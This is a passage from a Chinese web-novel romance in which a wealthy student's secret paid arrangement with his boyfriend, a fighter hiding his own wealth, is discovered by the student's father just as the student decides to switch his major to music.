把最喜欢的玩具借给班里的同学,转眼却被告知玩具被不小心弄丢了,他虽然有些遗憾,却也慷慨地表示没关系——可后来,他又在那个同学的家里看见了那套玩具。 一个人来到陌生的城市上大学,以为结交了几个朋友,所以即使被他们丢下、为他们买四位数的单,他也可以大方地接受——可后来,他发现他们在背后嘲讽他,将他当成提款机…… 陶真的确对很多事情都不在意,可这并不意味着,他喜欢当被人取笑的小丑。 空气有一瞬间的寂静,祝闻声的身体似乎僵住了。 过了好半晌,他才颤了颤睫羽,轻轻地揉了揉陶真柔软的小手,低低地说:“……我知道了。” 少年的话击碎了他最后的一丝侥幸。 他好像才刚走进八角笼中,就被人迎面击了一拳,倒在地上失去意识,只能听见人声鼎沸中裁判一下又一下的读秒,心脏绞烂了似的发痛,仿佛要从喉咙中喷出血沫。 如果再不抓紧时间坦白,就会无论如何都爬不起来。 “好啦,时间都不早了,你先洗漱,我去点些吃的,顺便去看看夏夏……”陶真心中还记挂着外面的佟夏,抿唇冲他笑了笑,之后才抽回自己的手,站起身。 祝闻声几乎立刻就想喊住他,可半晌,还是将到嘴边的话压了下去:“好。” 此时此刻,不是一个合适的时机。 陶真才刚刚亲眼见证了佟夏和江姗“破碎”的感情,他总不能立刻就让陶真亲身经历吧? …… 屋外的佟夏和江姗两人谈论了许久,到底是感情上面的事,剪不断理还乱。 陶真想让一天一夜都没歇息过的两人进来先吃点东西,可惜她们不知聊到哪里了,状态都不是很对劲,江姗向陶真道谢完,拉着佟夏就走了,连口水都没喝。 知道这件事要佟夏自己解决,陶真也没法拦着她,只好像个忧愁的空巢老人一样端着碗筷在门口看了半天,最终还是被祝闻声拉了回来。 两人从下午开始就为了佟夏这件事忙前忙后,自己也没怎么休息,况且第二天也不是休息,所以这会儿匆匆吃了点东西便洗漱上床。 翌日早。 闹钟准时响起,一整夜没怎么睡好的陶真浑浑噩噩地爬了起来,扭过头,对上了眼下一圈青黑的祝闻声。 两只熊猫的视线在空中交汇,俱是忍不住笑了起来。 陶真沉郁了好几个小时的心情终于松快了一些,眨了眨笑出泪花的眼:“时差?” 祝闻声挑挑眉:“嗯,看起来你的时差也没调回来。” 早上的时间并不多,两人没聊太久,便匆匆洗漱、吃早饭,各自出发。 陶真这学期课多,苦哈哈地去上早八了。祝闻声上午没课,给赵钊发了条消息以后,便按时按点地到俱乐部里打卡。 因为才刚刚结束一场冠军赛,而且之后签约进UFC的赛程还有很长一段时间,所以他最近的训练以保持体能为主,并不算特别严苛。 但是教练和陪练他们很快就意识到了不对,说好的保持体能,祝闻声下手跟要杀人一样,感觉下一秒就要扛着包袱上赛场了。一个陪练训了一会以后就叫苦不迭地跑路了,很快便又换上了另外一个。 眼见着他是要把俱乐部里的陪练通通打服,一边的理疗师终于受不了了,强行把他拽下来检查小臂。 祝闻声这才勉强停下,胸膛起伏,肌肉充血,流淌的汗珠随着下颌滚落到地上。 仿佛只有这样,身体里的那股躁郁和急切也能勉勉强强地发泄出去。 赵钊就是这个时候到的。 他拎着一袋炸鸡,招摇地从一帮控制饮食的小伙子面前走过,享受着众人快把他“撕碎”的目光,这才笑嘻嘻地在一旁的野营椅上坐下,冲祝闻声挥挥手: “我们下次能不能换个地方见?老是在你这俱乐部里,我总感觉自己跟个定时刷新的NPC一样……” 祝闻声没立刻说话,只扫他一眼,含义不言而喻:赵钊的换个地方就是去各种乱七八糟的地方通宵。 “好吧好吧,反正我闲。舍命陪君子,怀民亦未寝……”赵钊悻悻地往嘴里塞了块炸鸡,含含糊糊地问,“所以,今天怎么想起来找我了?” 祝闻声叫停了理疗师的按摩,安静地走到赵钊身边坐下:“有件事想咨询你,你应该会比我有经验一些。” 赵钊一噎,匆匆将嘴里的炸鸡咽下去,立马就精神了,忍不住笑道:“你?咨询我?!快快快,说来让我听听。” 祝闻声虽然在格斗这件事上格外叛逆,可这么多年来依然是圈子里众家长交口称赞的典范:智商高、模样好,洁身自好……就连赵钊也时常被自己的父母抓着耳朵骂“你就不能跟人家祝闻声学一学,一天到晚就知道玩”,他实在是很难想象,祝闻声会有需要求助他的事情。 祝闻声垂下眼,过了几秒才开口:“陶真的朋友,发现自己被恋爱对象骗了很久,在昨天彻底爆发了矛盾,可能要分手。” “我不想和陶真分手,所以想早一些跟他坦白我的真实身份,”祝闻声的喉结滚了滚,声音略微有些哑,“但我不知道……该怎么开口比较好。” 赵钊脸上的笑容僵住了:“……啊?” 操。他早该想到是这件事了。 能让祝闻声露出这种神色的,大概也就只有包养他的那位“金主”陶真了吧。 当时的他宁愿装穷也要把这段关系维持下去,可说到底,装穷这种行为无异于饮鸩止渴,身份暴露的那一天,跟毒发身亡没有任何区别。陶真的那个朋友就是前车之鉴。 偏偏祝闻声还不想“死”,不想跟陶真分手,这才是最难办的一点。 “……好吧,我想想啊,我想想。” 赵钊也顾不上吃东西了,动作有些粗鲁地蹭了蹭手上的油:“操,我特么是比你多谈了很多恋爱,可我跟她们都是好聚好散啊!” “不过按我以前的方法啊,只要你钱给到位,对象一般都不会有什么怨言的。像你这种身份暴露出来,一般人应该不会生气,反而会高兴吧?”渐渐地,赵钊将自己说服了,激动地拍了下自己的大腿,“就跟路边买了张十块钱的彩票,结果刮出来一个五百万一样,难道不应该惊喜吗?” 祝闻声沉默了半晌,睫毛颤了一下:“可是他说过,不喜欢我的钱。” “……?” 这年头还他妈的有不喜欢钱的人? 赵钊腹诽完,干笑了一声:“是吗?反正我挺喜欢的。那…那我再想想啊,” “不然这样吧,你不是有一个Z时代老板的号吗?你用那个号去旁敲侧击一下,从侧面透露一下自己的身份,双管齐下,总比你一下子跑过去坦白要稍微好一些……” 这个方法似乎有些靠谱,祝闻声思考片刻:“具体要怎么旁敲侧击?” “这个简单!”见祝闻声感兴趣,赵钊兴奋地打了个响指,“你就用老板号这么问:‘喜不喜欢你现在的男朋友?是不是他变成什么样子你都会喜欢?那他如果变得很有钱了你会开心吗?’” “‘其实我有个秘密告诉你,我和他一样,一直以来都很喜欢你。我就是你男朋友本人……’” 祝闻声的眉心跳了跳,出言打断:“这是变态在骚扰他。” 赵钊正说到兴头上,闻言大怒:“你从哪里看出变态了?这明明是你给自己戴绿帽子好吗!” “……” 祝闻声神色平静地靠上椅背,十指交叠,骨节发出了一阵令人牙酸的“咔啦”声响。 赵钊:“……等等!我还有最后一计。” “其实你这么多年都一直流落在外,不知道自己的真实身份其实是祝家的少爷,最近才刚刚被认回去,那个占据你位置多年的假少爷对你百般欺辱,所以你一直卧薪尝胆没有暴露自己的身份,直到现在才终于解决了一切,可以正大光明地站到他身边……” 祝闻声站起身准备送客。 赵钊坚决不滚,赖在凳子上,有点躁狂地抓了抓头发,看起来比祝闻声还崩溃:“这些都不行,那你说吧,到底能怎么办?你只能一五一十地跟他坦白啊!” “他要是能接受就接受,不能接受就分手,情侣之间都是这样的!你难道还非他不可了吗?!!” 原本扯住赵钊椅背的手骤然一松,祝闻声垂下眼。 赵钊以为自己终于把哥们喊醒了,磨磨蹭蹭地抬起头,却对上了一双沉黑阴郁、近乎偏执的眸子。 “是。” 祝闻声说。 他就是非陶真不可了。 只要能继续跟陶真在一起,他什么都可以做。 空气似乎沉寂了几秒,赵钊也有些愣住了,他知道祝闻声不是在开玩笑。 于是,过了片刻,他才揉了揉眉心,有些手足无措似的伸手拍了一下祝闻声的手腕:“……行行行知道了。” “我知道你喜欢他,等下把你姐也喊来呗,我们两个正正经经地帮你想……” 祝闻声闭了闭眼,轻轻“嗯”了一声,重新坐了下来。 在赵钊起身去喊黎旻之前,他不知想起了什么,忽然开口:“等下,把你手机给我。” 赵钊一脸不解,但还是凭借着这么多年的信任把手机掏了出来,人脸识别以后塞给了祝闻声。 祝闻声点开了他的主屏幕,来回翻动了两下,把视频和小说软件全删了,这才把手机给他抛回去,淡声道:“好了。” 赵钊:“……” 操!- 因为心中记挂着佟夏和江姗的事情,陶真一整节早八课都上的心不在焉的,一直都低着头和顾行舟发消息。 两人先是商量了一会给佟夏买点什么东西能让人开心些,接着又讨论了一下她到底会不会修复和江姗之间的关系……最后,顾行舟甚至还叹着气把话题引到了陶真身上:【要我说,夏夏费劲巴拉地谈这个恋爱,为情所困成这样,还不如跟你一样直接去外面包一个漂亮小白脸呢。】 陶真视线一顿,忍不住直起身敲字: 【为什么?这个行为根本不好,我当初包.养阿声的时候,你们不是还说我会被我爸揍得屁股开花,而且还怀疑阿声对我下套吗?】 顾行舟幽幽地叹了口气,手速极快,噼里啪啦地,连续发了三条消息: 【哎,你不懂啊真宝,有一句话叫做“此一时彼一时”。我现在才意识到,真心已经不流行了,还是金钱来得实在。】 【你看夏夏,她就是因为期盼着跟人家正经谈恋爱,所以才会受伤!如果她像你一样,打从一开始就给江姗花钱,知道江姗对她有所企图,你说她能不有所防备吗?她还会像现在一样傻傻地为一个骗子付出这么多真心吗?】 【包养好在什么地方?好就好在,一旦发现对面的人欺骗你、触怒你,直接打发走就完事了。拜拜就拜拜,下一个更乖!】 陶真一字一句细细地看过去,莫名蜷起了手指,慢慢地皱起了眉,心里咯噔一跳。 虽然顾行舟这话乍看起来好像没什么毛病,可他就是觉得莫名有点堵得慌。 为什么说打从一开始就给某人花钱、知道某人对他有所企图后,他就会有所防备?不会像现在一样傻傻地为一个骗子付出这么多真心?什么叫做直接打发走就完事了? 【行舟,我觉得话不能这么说。有些时候,人也许是被逼无奈了,才会“有所企图”,这是没办法的事。人和人之间的相处还是要付出真心的,就算是包养,也是能够出真爱的。】 【顾行舟:?停停停真宝,这还是中文吗?你别告诉我你也已经陷进去了,你别忘了,你跟祝闻声的关系是包养啊!他是为了钱才跟你在一起的!!】 这句话仿佛一根小针,猝不及防地刺了陶真一下,那疼痛细微却尖锐。 他一时间有些愣住了,半晌才抿住唇,继续打字:【也许吧。我只是觉得,哪怕阿声一开始为了钱跟我在一起,我们的关系开始的时候不太纯洁,但他后来一定是认真的……】 【顾行舟:啊啊啊啊啊啊我要疯了!!我恨恋爱!我要出家!我要剃度!!】 【顾行舟:陶真你大爷的再这样下去就真完蛋了!!】 陶真一懵,正要问自己为什么完蛋,就突然听见自己的桌面被人敲了敲,顺着那只手往上看去,对上了老师略微有些不悦的脸:“陶真,你有没有听见我刚刚说的话?” 上了大学以后,一般来说老师都不管讲台下的学生究竟有没有在听讲,可有的时候也会有例外,便是在考试以及发重要通知时,老师们也会时不时地下来转转,提醒大家认真记录他们所说的内容。 现在便是这样的情况,陶真自知自己今天没有好好听,立刻端正了态度,把手机扔进桌肚,乖乖巧巧地坐直了身子,态度谦卑:“不好意思老师,我刚刚走神了……” 不管如何,对于态度很好的学生们,老师到底还是会比较宽容的。这门专业课老师——兼他们班的班主任,也没有紧抓着他不放,只提高了声音:“来!大家都看黑板啊,这件事非常重要,关系到大家以后能不能拿到毕业证!” “作为南城大学的国际部,我们和普通的中外合办大学是不一样的,采用的是独特的灵活2+2政策,也就是说,我们的同学可以在大二的时候就提前出国……” 老师重新往讲台的方向走,他前一排的贾嘉松了口气,小心翼翼地转过头:“真宝,我刚刚看见他走下来,没想到竟然是来找你的……诶,你怎么了?” 陶真整个人都愣住了。 他呆呆地盯着讲台上的PPT,“出国”、“专业”、“毕业证”这些词被放大,标成了鲜红色,如烙铁一般滚烫,令他的心脏不自觉地捏紧,生出了一种油然的恐慌和抗拒。 “哦,你在看那个啊,”贾嘉顺着他的视线望过去,又转过头,有些兴奋地压低声音,“真宝,你打算今年暑假出去吗?还是明年?我现在还没想好呢,不然我们两个一块出去怎么……” 陶真依然盯着讲台,好半晌才喃喃自语般说:“……可是我,我不想出去。” 贾嘉一愣,旋即没忍住笑起来。 “真宝,你糊涂了吗?怎么可以不出去?咱们专业不出去拿不了毕业证的……” 的确,国际部的专业,只要不出国就拿不到毕业证。 可是,如果当时不是因为艺考失败,心灰意冷,被陶大俊花钱“塞”进了南城大学,他根本不会选择这个专业。 经济学,跟音乐毫无关系的经济学。 课程无聊枯燥,平常上课的时候学不到什么知识,全靠最后几周的时间在那里女娲补天,等考试结束就又重新还给老师,简直就是竹篮打水一场空。 若是放在从前,他可能就会像旁人一样,随大流地上完这半学期的课,挑选着出国留学的日子,随随便便地混完大学的四年,反正他家有钱。 可是现在的他,并不想这样。 “……嘉嘉,我不想出国,也不想再学这个专业了,” 讲台上的老师还在滔滔不绝,面前的贾嘉一脸担忧,陶真抿了抿唇,语气是前所未有的坚定: “我想学音乐,我是认真的。” 52 ? 第 52 章 ◎“你怎么让人家跟你在一起的,就怎么跟人家分手。”◎ ——我想学音乐, 我是认真的。 金发少年透亮的双眸里缀着散落的繁星,璀璨夺目,下定决心一字一句地说出自己的梦想时, 好像浑身都发着光一样。 只有对未来有期待、有梦想的人,才会这样耀眼。 下课铃声响起, 四周骚动起来,贾嘉却像是被施了定身术一样愣在了原地,怔怔地看着陶真, 好半晌才回过神来。 她想了想,努力提出实用的建议:“那你一定要尽快跟你爸妈沟通一下, 我以前听学姐他们提过,以前也有学生是从国际部转到普通部的,但是很艰难,流程很复杂, 需要跟学校领导打申请, 还需要把成绩提升到年级百分之三十……有一堆乱七八糟的事情要做。” “哎, 如果你上学期就已经打算转专业的话就好了,说实话, 现在转稍微有一点迟了,”贾嘉是真心将陶真当朋友看的, 掏心掏肺地为他分析利弊,“咱们的灵活2+2政策注定了下学期会有一帮出发去国外的人,他们是肯定会卷生卷死地搞绩点的,这样你进入前百分之三十的压力很大。且不说他们,就算你成功转到音乐专业里了, 你还需要在上大二课的同时再把他们大一的课程补起来……” 说到这儿, 贾嘉这个局外人都有些打退堂鼓了:“虽然咱们现在的专业吧确实也挺无聊的, 但好歹可以出去,而且你家里也挺有钱的,以后也刚好有对口的工作——真宝,转专业真不是那么简单的事情,你真的要好好想一想啊!” 贾嘉的句句提醒都有理有据、发自肺腑。陶真一边听,一边记她说到的内容,到最后才抿紧唇,坚定地说:“谢谢你嘉嘉,我真的已经想好了。” 困难并不可怕,可怕的是不敢面对困难。 他已经在艺考的时候因为害怕、胆怯,失去过一次机会了,不能重蹈覆辙,失去第二次机会。 贾嘉见郎心似铁,便没有再劝,只是叹了口气拍了拍他的肩膀,从通讯录里找了几个对转专业有所了解的学长学姐,将他们的微信推给了他。 陶真十分感激地收下了,请女孩吃了顿午饭,又给这些学长学姐们发了红包感谢,不一会便收获了一大波丰富的转专业资料。 有了这些以后,他心里也多了些许底气,在图书馆细细阅读了一遍以后才下楼,找了个无人的角落,给陶大俊打了个电话过去。 “嘟嘟”的等待铃后,电话接通。陶大俊那头传来了一阵呼呼的风声,大约是正在出门出差的路上,声音喜气洋洋的:“喂?儿啊!怎么这个时间点给老爸打电话呀?太巧了,老爸刚有个好消息要告诉你……” “爸爸,我也有个事情想跟你说,”尽管已经下好决心了,陶真还是不免有些紧张,手指抠着自己的衣角,“你现在有空吗?” 向来大大方方的少年人竟然露出了一副委屈巴巴的小媳妇样,陶大俊不免有些顿住了,示意司机将车窗关上,这才说:“当然有空了,是什么事情?” 陶真深吸了一口气,将自己专业的2+2政策、转专业的方式、想学的东西,一股脑地倒了出来。他的语气里有些连自己都没意识到的希冀和紧张:“……所以,我不想学这个专业了,也不想出国。我想学音乐,继续做我自己喜欢的事情。” 电话那头很安静,只能听见轻微的呼吸声。 陶真的心渐渐提到了嗓子眼:“……爸,你觉得怎么样?” 一直沉默倾听的陶大俊顿了顿,终于开口了:“如果我不同意呢,你会怎么做?” 心一瞬跌到了谷底,但陶真还是深吸了一口气,认认真真地说:“对不起爸,就算你不同意,我也会想办法尝试,因为我真的不想轻易放弃这件事……” “那就对了!” 陶大俊忽然打断了他,语气里带着十足的欣慰:“就该这样,知道吗!这可是追求梦想,多好的事情啊,就算别人不同意,有再多的人阻拦,你也该义无反顾地做。” 陶真一怔:“诶?爸,你刚刚不是还说……” “我不是都说了吗,‘如果’我不同意,我又没说我真的不同意!老爸当然支持你了!”陶大俊哈哈大笑,“果然嘛,我儿子就是最优秀的,不仅遗传到了我媳妇儿这超人的美貌,又遗传到了她惊人的天赋……哎呀呀,老林老陶家出了两个大明星,艺术家,祖坟上都添光了……” “失而复得”的感觉涌上心头,陶真松了口气,忍不住弯起眼笑了,又缠着陶大俊叽叽喳喳地聊了好一会,听见那边的助理在催,才依依不舍地跟他说了再见,背着包蹦蹦跳跳地离开了学校。 到家门口时,陶真才后知后觉地想起来,诶,陶大俊是不是说有个好消息要告诉他来着的?那好消息是什么? 陶大俊应该已经在出差的路上了,现在问已经迟了,算了,回头再说吧。 陶真乐滋滋地开了门,急匆匆地跑进了卧室,用纸把专业课书本和学长学姐们提到的资料都列了出来。 涉及到两个专业整整一学年的内容,东西并不算少,他一边翻找自己有的,一边在网上买缺少的部分。 很快,原本整整齐齐的书桌前就乱得像是刚遭土匪打劫过。 有一张原本已经被压在最底下的纸张,也在不知不觉中,被翻到了最上面。 …… 直到家门被打开、祝闻声走进卧室,陶真才终于停止了“沉浸式当土匪”,猛地抬起头,笑眯眯地冲他张开双臂:“你回来啦!” 金发少年头发蓬松凌乱,像只小花猫一样鸭子坐在满地狼藉的书堆里,笑容甜滋滋的,还露出了两颗小虎牙。 祝闻声短促地“嗯”了一声,三步并作两步地上前,抬手将他从书堆里抱了出来:“怎么坐在这里?” 他今天在俱乐部里跟赵钊和黎旻认真地制定了坦白计划。赵钊的几个想法都不太靠谱,倒是黎旻给他的建议还算可行。她让他不要搞那些“真假少爷”的花招,就认认真真地,一五一十地说清楚自己的心路历程,以及之后的“补救”措施。 唯一的要求就是,一定要郑重,找个环境好一些的地方,能够让两人敞开心扉地聊天。 他正在思考要不要尽早坦白,但…… “这些书是?” “哦!” 陶真相当自觉地搂住了祝闻声的脖颈,简单地解释了一下学校的政策,总结道:“这些书是我打算之后转专业用的,我想学音乐。否则的话,我这两个月,或者明年,就得考虑出国……我一点都不想出去!” 好歹也是个一米七多的成年人,又不是小孩子了,很少会有被人抱起来的机会。然而从跟祝闻声在一起之后,他基本每天都会被抱好几次,青年的臂膀极稳,令人相当安心。要是真出国、一个人在外面,也就不会再有这样的待遇了。 虽然顾行舟一脸恨铁不成钢地对他说了一大通“不要当恋爱脑”、“不能对自己包养的人付出太多情感”这类的话……可陶真心底还是有个声音告诉他,祝闻声是不同的,跟那些人不一样。 陶真不想出国,要转专业,最大的原因当然是想学音乐,可不可否认的,祝闻声也是他留下来的一个重要原因。 “不过嘛……”陶真兴致勃勃地说完,又没忍住拧紧了眉,有些忧心似的,“我刚刚看了一下咱们学校转专业的内容,哎,贾嘉和学姐她们真不是骗我的,这流程是真的好复杂好困难!我本来还挺有信心的,现在都不知道自己到底能不能成功……” “可以的,”祝闻声的回答斩钉截铁,“你肯定可以。” 他相信陶真有这个能力,只靠自己就可以实现梦想,毕竟一直以来,陶真都是这样做的。不过,退一万步说,就算真的因为某些因素陶真一时间没有成功,他也有的是本事将结果扭成可以。 陶真弯起眼:“那就借你吉言?” 祝闻声垂眸,盯着他红润的唇瓣看了几秒:“嗯。” 四周骤然安静了下来,静得只能听见两人的呼吸声。 陶真盯着祝闻声看了几秒,突然觉得脸颊有些发热,祝闻声的视线实在是太过专注,幽深的黑眸简直好像要将人深深地吸进去一样。 天色略微有些昏暗,卧室内只开着一盏暖黄色的小台灯,依稀朦胧的光晕照亮着窄小有限的范围,从挨挨挤挤靠在一块的两人中央流淌下来。 两人之间的距离越靠越近,滚烫的呼吸交缠在一起,余温喷洒在脸颊侧。陶真不自觉地闭上了眼,纤长浓黑的睫毛像蝶翅一样颤动,微微有点害羞地撅起嘴巴,唇瓣嫣红粉嫩。 祝闻声托住他的腿弯往上掂了一下,旋即也缓缓闭上眼。 然而,正在两人即将吻上的瞬间,门口突然传来一道成功开锁的“滴滴”声。 两人霎时一怔,不由自主地停下了动作,几乎同时睁开了眼。 佟夏和江姗两人虽然昨天才刚刚来过,可她们并没有在陶真家直接录入指纹或是人脸,那么到底是谁过来了,还拥有直接开门的权限? 陶真的心里几乎霎时就闪过了一个猜测,可又觉得有些可能,喃喃自语般道:“不会吧……” 他像只小兔子一样从祝闻声身上跳了下来,匆匆忙忙地赶往门口,果然,下一刻就看见了一道熟悉的人影。 “爸爸!”陶真有些惊喜地提高了声音,“你怎么过来啦?” 陶大俊放下了手里的公文包和行李,冲陶真张开双臂,嘿嘿一笑:“这就是我本来打算跟你说的好消息啊!你老爹我今天来南城出差,那会才刚刚下飞机,这不,立刻就跑过来见你了……诶,小祝也在啊!” 陶真过去给了陶大俊一个熊抱,听见他略微有些疑惑的尾音才转过头,视线与祝闻声在空中交汇,心里噗通一跳。 虽然之前已经带祝闻声见过陶大俊了,但两人现在毕竟变成了“同居”关系,不知道陶大俊会不会介意。 “啊哈哈哈,是啊爸爸……” “那你这孩子也不跟我早说!小祝,你吃过饭没有?”陶大俊一拍大腿,“走吧走吧,叔带你俩先去外面吃点东西?” 陶真忍不住松了口气,冲祝闻声眨了眨眼。后者似乎也微微放松了一些:“不用叔叔,您舟车劳顿,还是先坐下休息吧。” “家里还有些菜,做起来很快的……您和小真聊,一会就好。” 陶大俊发出一叠声的“哎哎哎”,还是没把祝闻声喊住,况且他也拉不动祝闻声的体格,最后只好作罢。 但他心里还是有些过意不去,即使跟陶真一块坐上沙发了,依然有点坐立难安:“小祝这孩子……陶真,你还没跟我讲呢,你什么时候跟他住在一块儿的?你天天都让人家帮你做饭啊?” 从上次祝闻声一个人孤零零地到陶家过年时,陶大俊对这孩子就很有好感,外形好,有礼貌,成绩好……各方面都很好,只有家庭环境不如意,颇有些可怜。 他想要陶真在这段恋爱中多帮衬着些,而不是仗着自己家世好一些就趾高气昂。 “就前两天的事儿,还没来得及跟你说……” 陶真正在不好意思着呢,赶忙将话题岔开:“对了爸,你在南城待几天呀?晚上定酒店了吗,直接睡在这儿呀!” “呆不了多久,明天就要走了,”陶大俊挠了挠脸,“我本来没让他们订酒店,就是打算睡你这儿的,但现在既然小祝在这儿了,我晚上打呼容易影响到你们,还是出去吧……” “别呀爸,哪里有你到儿子这还出去睡酒店的,”陶真也不乐意,一把夺过陶大俊的公文包和行李,“两个房间离那么远呢,你就安心睡这儿呗!” 南城的这栋公寓当时买的急,又考虑到只有陶真一个人住,所以就只有一个主卧一个客卧。 自己肯定是一个人睡在客卧的,那也就是说…… 陶大俊心中的滋味突然有些复杂,总有种别人家的猪跑到自己家的白菜地来一通乱拱的感觉,最后只好将这个话题岔了过去:“行行行……那你现在既然有空,就跟我说一下转专业的事情吧,你是怎么想的?之后对这件事情有没有什么规划?” 陶真精神一振,下午的学习派上了用场,这会一五一十地和陶大俊分析了起来。 时间飞逝,不知不觉,外面的天色彻底暗了下来,只余万家灯火的光晕。 厨房内飘来一阵浓郁的香味,祝闻声手脚利落地端着菜肴走出来,招呼他们吃饭。 两人才勉强停止了话头,陶大俊本想去厨房间拿碗筷,可是一转头却发现祝闻声连这些都已经贴心地准备好了。他只好坐下,赞叹地看了一眼面前几道色香味俱全的菜肴,又看了一眼正在为陶真剥虾的祝闻声。 嗯…… 不知为何,陶大俊现在觉得,是自己家的猪去别人的白菜地乱拱了。 这顿晚饭吃得相当和谐,到了尾声时,陶大俊强势地将祝闻声赶去房间洗漱,自己则和陶真两人打扫卫生,然而打扫之前,他又没忍住,认认真真地说了一大串恋爱经验……甚至还提到了安全措施这方面。 陶真原本是听得很认真的,到这块儿却忽然面红耳赤,什么安全措施?他们俩又生不了孩子。就算真的能生也不是祝闻声生……陶大俊怎么对他这么有信心,认为他一定能当1呢? 他二话不说,伸手把陶大俊推出了餐厅:“知道了爸!你赶快去房间休息吧!我要赶快洗完碗去研究转专业了……” 陶大俊的话才刚说到一半,正在兴头上,这会忍不住“啧”了一声,嘟囔道:“老爹跟你说的那都是肺腑之谈,用几十年的婚姻实践出来的经验之谈……经验之谈你懂吗!你谈过几十年的恋爱吗?” 陶真端着碗到洗碗机前,扬声道:“没谈过!” “这臭小子……” 陶大俊笑骂了一句,到底还是没有再抓着他不放,拿着自己的行李和公文包绕去了客卧。 这间公寓只有一间浴室,这会儿祝闻声正在里面洗澡,他不好擅自进去,便在外面等了一会。 等待时,陶大俊的视线不经意地扫到了一旁的卧室,从门缝里看见了地上那一堆乱七八糟的专业书。 忍了又忍,他还是没忍住往里面迈步:“这孩子,东西怎么就随便往地上扔呢……” “……” 浴室内蒸腾的水汽慢慢停歇,祝闻声关闭水龙头,擦净身上的水珠,慢慢地套睡衣。 陶大俊的大驾光临是他始料未及的。也许是顾念到他连过年都只能一个人,实在十分“可怜”,所以陶真的家人对他相当好,尊重且照顾。 若是让他们发现自己其实隐藏着真实的身份接近陶真…… 祝闻声垂下眼,深吸了一口气平复好心情,打开门,下一刻就撞见了一道站在黑暗中的人影。 陶大俊向来和善的脸上失去了所有的色彩,双眸毫无焦距地盯着不远处,好像遭受到了极大的打击一样。 祝闻声的心里咯噔一跳,情不自禁地滚了滚喉结:“……叔叔,您怎么站在这儿?”发生什么事情了吗? 恍然间,陶大俊回过神,抬起眼望向他,嘴唇上下动了动,却没发出声音来。 过了好几秒,才终于扯了扯唇角,声音有些嘶哑:“……哦,我本来想洗澡的,突然接到一个电话,说…公司里面出了点事情。” 祝闻声沉默了两秒,视线落在陶大俊攥得青白的手指上,果然在那里看见了一部手机。 他提到嗓子眼的心脏渐渐放下了:“您别担心,这问题肯定是可以解决的。具体是哪一方面的,您跟我说一声,我可以……” “没关系,不严重,只是…犯了一个很蠢的错误,我刚刚有点太生气了,”陶大俊打断了他,有些叹息,“谢谢你啊,小祝。” 祝闻声顿了顿:“不用谢叔叔,我也没帮上什么忙。” 陶大俊深深地看了他一眼:“不。” 两人交谈之际,洗完碗的陶真刚好也过来了,对这尴尬的气氛十分讶异,探头探脑地问道:“这是…怎么啦?” 祝闻声回过神:“叔叔说……” “公司里出了点事,我今天晚上不留在这里睡了,”陶大俊言简意赅,“陶真,你出来送我一下,我有点话跟你说。” 公司出了事?难怪陶大俊的脸色这么差…… 陶真心中一惊,立刻应了声,冲祝闻声挥了挥手,便匆匆忙忙地提上了陶大俊的公文包和行李,跟在他身后一块跑了出去。 “砰”的一声,大门被重重地关上。 电梯刚好就在这一层等着他们,陶真立刻摁亮,有点焦急地追问道:“爸,你快进来……别着急,你要不跟我讲一下公司到底出了什么事情……” 陶大俊却没有动。 在电梯冰冷的苍白灯光下,他的脸色阴沉得仿佛能滴水,语气却很平静:“陶真,你长本事了。” “……” 陶真一愣,略微有些不解:“爸,你说什么呢?” “你难道不是长本事了吗?” 陶大俊往电梯里走了一步,有点哆嗦地摁开了手机,屏幕反射着刺目的光晕,过了几秒才让人看清,上面赫然是一张“协议”的照片,“不然的话这是什么?是你爸爸我老眼昏花看错了吗?你告诉我这是什么!” 白纸黑字,甲乙双方,无从辩驳。 “嗡”地一声,陶真感到一阵晕眩,冷汗也唰地一下落了下来,脑海里盘旋着两个字,完了。 完了。 陶大俊发现了。 知道他和祝闻声之间是包养关系了。 悬在头顶的达摩克利斯之剑“砰”地落下,纸终究有包不住火的这一天。是他趁人之危,做了这种无耻的勾当。 渐渐地,陶真的血液仿佛凝结住,浓黑的睫羽颤抖起来:“……对不起。” “你该道歉的人不是我,是祝闻声。我应该向你道歉,是我这么多年的教育太失败了!” “从小到大,我教你要走在正途上,要见义勇为,要帮助别人,要做正确的事情……这些话你听下去了吗?”陶大俊冷静地反问,“陶真,包养人是正确的事情吗?” 陶真张了张唇:“……不是。” 陶大俊闭了闭眼,努力压抑着自己的情绪:“好,那现在进去,跟祝闻声说结束这段关系。” “你怎么让人家跟你在一起的,就怎么跟人家分手。” 53 ? 第 53 章 ◎“祝闻声,我们分手吧。”◎ 空气在一瞬间凝固住。 电梯里的凉气从四面八方涌了过来, 将陶真牢牢地包围住,从他的脚心一路蹿上了脊背,接着浸湿了他的胸膛, 变成一把冰淬成的利刃,狠狠地搅着他的心脏。 他雪白粉嫩的小脸骤然间变得毫无血色, 眼眶红了,金发软趴趴地耷拉在脸上,简直像是一只狼狈的流浪狗。 陶真沉默了太久, 久到变成了一种无声的反抗。陶大俊简直气急攻心,冷冷笑了一声:“不愿意?” “什么事情是尽管别人阻挠也要做的, 什么事情是哪怕别人鼓励也不能做的,你自己心里没有数吗?不要拿旁人当借口,做一件事情的时候你自己心里清楚的很!这么多年,我和你妈教给你的东西全都去哪儿了?喂到狗肚子里了?!” 四周的空间密闭狭窄, 头顶的灯光刺目眩晕, 陶真努力让自己不要发抖。 是的, 他比谁都清楚。哪怕一开始的他的确是在吴斌那群家伙的蛊惑下去包养祝闻声的,但自从他和吴斌掰了以后, 他有无数次机会可以终止和祝闻声的这段不正当关系,可他通通都没有。 不是因为他不能, 而是因为他不想。他就是怀揣着侥幸心理,将陶大俊和林曼妙从小教他的正义、正直抛在了脑后,放任自己变成了一个包养人的金主,仗着父母的身份地位做出这种事情。 可是…… “从一开始你就是骗我的吧?一开始我问你是不是在和人家谈恋爱的时候,你乱七八糟地给我编了一堆你们俩是怎么认识的、怎么在一起的……事实上, 你们在一起只是因为这一张包养协议。” “多可笑、多荒谬啊陶真, 这是你能做出来的事情吗?且不说你们平常是怎么相处的了, 大过年的,你甚至还要人家千里迢迢地跑过来找你,还有现在……陶真,你去!现在就给我把这种关系断了!!” “……可是。” 对上陶大俊愤怒的脸色,陶真的神色略微有些恍惚,仿佛用了极大的勇气:“爸爸,我知道从一开始,这件事情我就做错了,但现在,我是真的喜欢祝闻声,他也是真的喜欢我。” 电梯里安静了。 陶大俊满是怒意的表情凝固在眼角眉梢,过了好几秒才被滔天的怒火岩浆冲化开,像是听到了什么荒谬的笑话: “你都已经包养人家了,还在这跟我谈感情?” “……” 陶真的身体摇晃了一下,狼狈地后退了一步,呆呆地靠上了电梯内壁。 